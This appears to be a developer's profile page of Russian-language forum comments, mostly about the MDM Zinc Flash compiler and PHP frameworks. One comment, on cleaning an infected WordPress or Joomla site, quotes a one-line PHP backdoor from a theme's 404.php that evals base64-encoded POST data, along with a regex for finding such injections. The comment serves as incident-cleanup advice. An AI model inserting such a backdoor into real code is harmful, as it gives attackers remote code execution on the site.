Pull to refresh
6
0
W.D.M.Group @WDMGroup

Разработчик

Send message

Ну вот собственно и ответ: "документация - это круто, но бывает очень редко...". Просто не привычно, как я понимаю, что Yii3 отступает от всеобщего концепта. Да, это вызовет некий дискомфорт/затраты на вхождение в проект, НО, кто сказал, что а) большинство из них не будут идти по шаблонной архитектуре и б) это не делает фреймворк "плохим" или "не правильным", это лишь делает его другим.

Графические дизайнеры — это очень нежные, сложные и слабо организованные товарищи, чтобы работать с ними нужно сохранять спокойствие, много раз объяснять задачу очень простыми словами, и иметь огромное терпение. Литература по воспитанию детей, где описаны сложные случаи, реально помогает!


Спасибо, конечно, за столь «теплые слова». Но что то мне подсказывает, что у Вас в другом проблема, ну, с графическими дизайнерами…

Графические дизайнеры — это очень нежные, сложные и слабо организованные товарищи
image


В целом, идея не нова, лишь попытка… пусть Вам повезёт и она будет удачна.
Изучаю вопрос, и наткнулся на расширение yii2-translate-manager. Релиз, вроде как, от вчера.

В силу неопытности не могу сказать стоит его «прикручивать» в рабочий проект. Код вроде солидный… Может кто посмотрит опытным глазом!?
У клиента похожая хрень была… Добавился код редиректа на левые сайты, если хрефом была ПС (банальный слив трафа).
Лечил поиском и удалением всех вхождений типа eval\(base64_decode\(".+?\"\)\)\; и аналогичными конструкциями регулярных выражений.

Уязвимость, как правило, была в темах к Вёрдпрессу и Джумле!
Файл /wp-content/themes/paradise/404.php:

<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>


Дырка давала возможность злоумышленнику послать кодированный POST-запрос на несуществующую страницу сайта и выполнить таким образом любой php-скрипт. Скрипт конечно сами догадываетесь какой)))
Да… Яблочку есть над чем поразмыслить…
Отличная статья!
А что, проще swf-запускать в InternetExplorer?
А вы пробовали пилить Цинк c его-то криптованием??? Не спорю, всё возможно, но ведь у каждого хитрости свои. Буржуйское коммерческое ПО дело для детсада, а вот наше, созданное воспаленным умом пост-советского коммунизма произведение, методом проб и экспериментов, не поддавшийся здоровой логики — НЕРЕАЛЬНО!
при компиляции необходимо включать чекбоксы с используемыми в теле swf классами Цинка, + необходимо выбрать версию на которой написан флеш 10 или 11…
обычно тиакая ошибка вылетает, если Вы компилируете проект, который уже запущен в исполненном виде и не может получить доступ к пакуемому ехе (т.н. двойная компиляция), посмотрите внимательней, может проект уже запустился и висит в трее (Цинк на автомате запускает проект из ехе).
совершенно верно, это своего рода расширения классов АС, только с «mdm.*» начинается.
Все фичи Флеша работают также само как и в родном плеере + функционал Цинка
а там не Air проходит, а формат МАСа
К сожалению такой поддержки нет, но ведь Android SDK и Eclipse никто не отменял.
Только для Windows или Mac OSX, а компилирует под все три ведущие платформы.
1). Да, Вы должны добавить библиотеку от цинка в среду, в которой пишете флеш.
2). Дополнительный код необходимо писать там, где требуется взаимодействие и результат работы Цинка.
3). Рядом с теми где это нужно. Ну например, необходимо получить разрешение экрана клиента, где было запущено приложение:
var resolutionInfo:Array = mdm.System.getResolution();

// resolutionInfo[0] = Width
// resolutionInfo[1] = Height
// resolutionInfo[2] = Color Depth
// resolutionInfo[3] = Refresh

В результате, после компиляции во флеше и Цинк Билдере переменная-массив «resolutionInfo» будет иметь все необходимые данные. Но только после обработки Цинком. Т.е. после вывода мувика во флеше, рассчитывать на заполненный массив данными нет смысла.

4). Много, я первое приложение вообще только на Цинке писал, ActionScript только как связующая шла.
Библиотеку для Флеш, после установки, можно найти в папке:
...\Zinc 4.0\swc\flash\

Библиотеку для Флекс, после установки, можно найти в папке:
...\Zinc 4.0\swc\flex\

После подключения библиотеки, в коде её необходимо инициализировать.
Вот примерный код инициализации библиотеки MDM Zinc в коде ActionScript 3:

// in complex implementations initialization flags can be used
if(initialized == false) {
initialized = true;
mdm.Application.init();
// other code to run during init
};


Сам код, может выглядеть примерно так:
function loadFile() { // инициализация функции по правилам ActionScript

// Задаём параметры для Цинк-класса "Dialogs", а конкретно для функции открытия диалога загрузки файла "BrowseFile"
mdm.Dialogs.BrowseFile.filterList = "Text Document|*.txt";
mdm.Dialogs.BrowseFile.title = "Open a file";
mdm.Dialogs.BrowseFile.buttonText = "Open";
fileName = mdm.Dialogs.BrowseFile.show();

if (fileName == "false") { // а это логическое условие из ActionScript

} else { // и это тоже ;)
...


Из кода видно, что Цинк полностью подчиняется синтаксису приемлемого для ActionScript расширяя его функционал.
Всё пишется изначально во Флеш IDE, ну или совместимом. Т.е. рядом со строками Экшн скрипт прописыватся дискрипторы Цинка, Флеш не ругается, если подгружена библиотека от Цинка… потом это всё компилится в готовый SWF, а после открывается и компилится в Цинк-девелопе, котрый отискивает свой и AS код и доводит всё до фурора.

Вот примеры, от разработчиков:
multidmedia.com/support/exchange
Я тоже обратил внимание пункт по HTML5 Desktop Apps, смело заявлено, согласен. Думаю, это возможность экспорта готового HTML5 (во взаимодействии с Flash и CSS3) в исполняемый файл.
Но в отношении второго… хоть убей те меня, но не видел я чтоб Air умел DLL сторонние подгружать в свои приложения (сталкивался, пробовал — не получилось)!
Работает только с SWF (на выходе ехе, ну или другой формат для платформ Mac и Linux), а каким способом ты получишь этот SWF, дело другое… Если можно так сказать, Цинк умеет читать компилированный код ActionScript и дополнять его своим функционалом.
Это не гомозня… это авторский переворд с оф. сайта, с небольшими коррективами.
Что касается предмета разговора, то Цинком пользуюсь уже года 2 как. Нареканий нет! Есть баги и глючки, не без этого, но это только от криворукости… и сырости продукта в предидущих версиях. Сам к компании МДМ никакого отношения не имею, какой ризон мне что-то рекламировать. Просто поведал о возможностях, так сказать.
А вообще, рекомендую, попробуйте…
до сих пор вспоминаю те времена, когда Флеш был ограничен в функционале, ну например — доступ к файловой системе… все эти границы стираются, когда есть Цинк (кстати, из-за перепетий во взглядах на политику безопасности, Адоб даже пыталась устраивать судебные разбирательства, что мол наша платформа запрещает доступ к файлам клиента в определённых случаях, а вы тут все карты в руки… пространство для хакеров типа).
Нет, в код компилированного Adobe Air цинк не лезет, он как бы является аналогом Adobe Air… тоже компилит на выходе ехе-исполняемый фал, но со своими фишками.

Приложения Adobe Air не могут работать без установки соответствующего плигина от Adobe, а Цинк может, т.к. всё необходимое уже упаковывается в готовый ехе.
1

Information

Rating
Does not participate
Location
Украина
Date of birth
Registered
Activity